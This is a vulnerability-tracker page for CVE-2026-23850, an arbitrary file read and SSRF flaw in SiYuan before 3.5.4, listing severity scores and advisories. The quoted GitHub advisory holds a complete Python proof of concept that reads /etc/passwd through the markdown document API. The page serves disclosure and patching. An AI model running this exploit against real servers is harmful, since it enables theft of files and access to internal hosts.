CVE-2026-23850

highpriority · track · 30EPSS 0.006 · 49 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.62% (49th) EPSS
CVSS 7.5 · high
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

SiYuan is a personal knowledge management system. In versions prior to 3.5.4, the markdown feature allows unrestricted server side html-rendering which allows arbitrary file read (LFD). Version 3.5.4 fixes the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.7–7.8

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 3.6
v4.07.8highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:Psecondary · ENISA EU
v4.07.8highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.06.7mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-cv54-7wv7-qxcwSiYuan vulnerable to Arbitrary file Read / SSRF2026-01-21ghsa · osvUS

    ### Summary Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : ) Please note that we used the latest Version and deployed it via this dockerfile : Dockerfile: ``` FROM b3log/siyuan ENV TZ=America/New_York \ PUID=1000 \ PGID=1000 \ SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword RUN mkdir -p /siyuan/workspace COPY ./startup.sh /opt/siyuan/startup.sh RUN chmod +x /opt/siyuan/startup.sh EXPOSE 6806 ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"] ``` startup.sh ```sh #!/bin/sh set -e echo "nullctf{secret}" > "/flag_random.txt" exec ./entrypoint.sh ``` docker-compose.yaml: ```yaml services: main: build: . ports: - 6806:6806 restart: unless-stopped environment: - TZ=America/New_York - PUID=1000 - PGID=1000 container_name: archivists_whisper ``` ### Details As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886 in `createDocWithMd` function the `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)` without any sanitization too ### PoC Here is a full Python POC ready to run ```py import requests, sys, os if len(sys.argv) >= 5 : TARGET = sys.argv[1].rstrip("/") PASSWORD = sys.argv[2] attack_type = sys.argv[3] if attack_type == "LFD": file_path = f"file://{sys.argv[4]}" elif attack_type == "SSRF": file_path = f"{sys.argv[4]}" else: sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link") TARGET = "http://127.0.0.1:6806" PASSWORD = "SuperSecretPassword" # Workgroup password file_path = "/etc/passwd" # file to read s = requests.Session() def login(): s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True}) def list_notebooks(): res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json() notebooks = res["data"]["notebooks"] if not notebooks: raise RuntimeError("No notebooks found – create one in the UI first") notebook = notebooks[0]["id"] return notebook def file_to_md(notebook, file_path): doc_id = s.post( f"{TARGET}/api/filetree/createDocWithMd", json={ "notebook": notebook, "path": "/pwn", "markdown": f"[loot]({file_path})" }, ).json()["data"] return doc_id def convert_file_to_asset(doc_id): res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id}) # print(f"Debug : convert", res.text) def get_new_file_name_from_assets(file_path): res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"] if attack_type == "LFD": new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-" else: new_file_name = f"network-asset-{os.path.basename(file_path)}-" # print(new_file_name) for file in res: # print(file["name"]) if new_file_name in file["name"]: return file["name"] def retrieve_file_content(file_name): return s.get(f"{TARGET}/assets/{file_name}").text login() notebook = list_notebooks() doc_id = file_to_md(notebook, file_path) # print(f"Debug : Docid", doc_id) convert_file_to_asset(doc_id) file_name = get_new_file_name_from_assets(file_path) file_content = retrieve_file_content(file_name) if len(file_content) > 0 : print("Content : ", file_content) else: print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name") ``` ### File read <img width="928" height="333" alt="image" src="https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb" /> <img width="800" height="143" alt="image" src="https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a" /> ### SSRF : We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy <img width="822" height="63" alt="image" src="https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf" /> ### Impact As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : ) ### Solution https://github.com/siyuan-note/siyuan/issues/16860

  • GO-2026-4347SiYuan vulnerable to Arbitrary file Read / SSRF in github.com/siyuan-note/siyuan/kernel2026-02-03vendor · osvUS

    SiYuan vulnerable to Arbitrary file Read / SSRF in github.com/siyuan-note/siyuan/kernel

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-01-19modified 2026-06-17
08

references (20)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan